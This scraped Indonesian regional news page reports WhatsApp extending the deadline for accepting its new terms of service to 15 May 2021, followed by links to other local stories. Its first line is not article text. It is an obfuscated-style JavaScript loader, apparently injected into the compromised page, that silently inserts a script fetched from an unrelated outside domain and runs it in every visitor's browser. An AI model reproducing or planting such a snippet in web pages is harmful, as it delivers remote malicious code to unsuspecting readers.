(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – WhatsApp mengingatkan waktu yang didedikasikan untuk penerapan kebijakan baru untuk menggunakan layanan ini akan segera berakhir.
Pesan dipublikasikan di halaman dukungan resmi layanan tersebut menyebutkan bahwa pengembang berbicara tentang apa yang akan terjadi pada akun pengguna yang tidak akan menerima aturan baru hingga 15 Mei mendatang.
“Agar kamu memiliki cukup waktu untuk membiasakan diri dengan perubahan sesuai kecepatan kamu sendiri, kami telah memperpanjang batas waktu penerapannya hingga 15 Mei,” tulisnya dilansir laman Gizchina, Senin (19/4/2021).
Baca juga: Fasilitas Tadarus Al Quran di Mushala Iqra Perpustakaan Palnam
Perusahaan menambahkan, buat kamu belum menerimanya sampai saat ini, WhatsApp tidak akan menghapus akunmu. Namun, fungsionalitas akun WhatsApp kamu akan dibatasi hingga perubahan diterima.
“Untuk waktu yang singkat, kamu akan dapat menerima panggilan dan pemberitahuan; tetapi tidak akan dapat membaca dan mengirim pesan dalam aplikasi, ” tulisnya lagi.
Pengguna layanan harus setuju dengan aturan baru untuk menggunakan atau mengekspor riwayat obrolan dan laporan akun mereka di Android dan iOS selambat-lambatnya 15 Mei mendatang.
Baca juga: Serap Aspirasi Warga, Bupati-Wabup Banjar Kunjungan Malam Ramadhan
Jika kamu memilih opsi kedua, pengguna dapat menghapus akun WhatsApp mereka, tetapi para pengembang memperingatkan bahwa ini adalah proses yang tidak dapat diubah dan setelah penghapusan, salinan cadangan dan semua riwayat pesan akan dihapus secara permanen.
Ingatlah bahwa aturan baru WhatsApp menyarankan kemungkinan bahwa layanan tersebut akan bertukar data pengguna dengan Facebook, yang merupakan pemilik messenger.
Baca juga: Pariwisata Banjarbaru dan Permasalahannya
Awalnya, pengenalan aturan baru telah direncanakan untuk awal tahun tetapi berita tentang ini menyebabkan kemarahan di antara pengguna di seluruh dunia dan menyebabkan orang berpindah menggunakan messenger lain.
Reaksi dari pengguna memaksa WhatsApp menunda pengenalan aturan baru dan mencoba meyakinkan pengguna agar menerimanya. (suara.com)
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.